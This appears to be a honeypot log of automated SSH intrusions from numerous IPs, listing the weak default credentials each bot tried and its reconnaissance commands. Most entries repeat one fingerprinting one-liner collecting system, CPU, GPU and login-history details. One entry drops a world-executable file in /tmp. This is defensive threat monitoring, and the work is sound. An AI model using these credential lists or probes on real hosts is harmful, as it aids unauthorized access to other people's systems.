$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 monsoon_root_11 (64.227.178.189) β€” Bengaluru, India Β· 7 sessions Β· 28 cmds
2026-03-02 00:35 EST Β· as admin/123456, admin/password, root/1234
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 tulip_root_17 (167.71.72.14) β€” Amsterdam, Netherlands Β· 3 sessions Β· 12 cmds
2026-03-02 00:38 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 pretzel_root_20 (138.68.98.184) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 12 cmds
2026-03-02 00:38 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 tiger_root_12 (139.59.34.163) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-03-02 00:37 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 lotus_root_18 (143.110.184.128) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-02 00:41 EST Β· as root/1234
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 phantom_root_50 (159.223.36.209) β€” Singapore, Singapore Β· 1 session Β· 4 cmds
2026-03-02 00:32 EST Β· as root/admin123
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 cowboy_root_17 (162.243.225.28) β€” Secaucus, United States Β· 4 sessions Β· 16 cmds
2026-03-01 23:57 EST Β· as admin/123456, admin/admin, root/1234
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 barbie_root_4 (209.38.89.210) β€” Sydney, Australia Β· 12 sessions Β· 48 cmds
2026-03-01 23:11 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 12x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—12
$ uname -s -v -n -m 2 > /dev/null Γ—12
$ uname -m 2 > /dev/null Γ—12
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—12
🎭 star_root_25 (129.212.187.248) β€” Douglasville, United States Β· 8 sessions Β· 32 cmds
2026-03-01 23:55 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 outback_root_2 (209.38.23.112) β€” Sydney, Australia Β· 5 sessions Β· 20 cmds
2026-03-01 23:16 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 windmill_sol_4 (64.227.77.11) β€” Amsterdam, Netherlands Β· 3 sessions Β· 3 cmds
2026-03-01 23:51 EST Β· as sol/sol, solv/solv, ubuntu/ubuntu
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—3
↳ obfuscated system check
🎭 specter_root_21 (152.42.228.2) β€” Singapore, Singapore Β· 7 sessions Β· 28 cmds
2026-03-01 23:02 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 hockey_root (143.110.213.136) β€” Toronto, Canada Β· 10 sessions Β· 40 cmds
2026-03-01 22:34 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 spice_root_18 (167.71.234.98) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-01 23:25 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 dutch_root_3 (206.189.2.179) β€” Amsterdam, Netherlands Β· 4 sessions Β· 16 cmds
2026-03-01 23:07 EST Β· as admin/admin123, root/1234, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 crumpet_root_2 (159.65.29.137) β€” Slough, United Kingdom Β· 21 sessions Β· 84 cmds
2026-03-01 20:04 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 21x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—21
$ uname -s -v -n -m 2 > /dev/null Γ—21
$ uname -m 2 > /dev/null Γ—21
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—21
🎭 bike_root_15 (138.124.79.52) β€” Amsterdam, Netherlands Β· 3 sessions Β· 3 cmds
2026-03-01 21:06 EST Β· as root/12345678, root/admin, root/pass123
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ cd /tmp ; echo uname -a > monaco ; chmod 777 monaco ; ./monaco Γ—3
↳ make executable (world)
🎭 dutch_root_14 (206.189.108.246) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-03-01 20:07 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
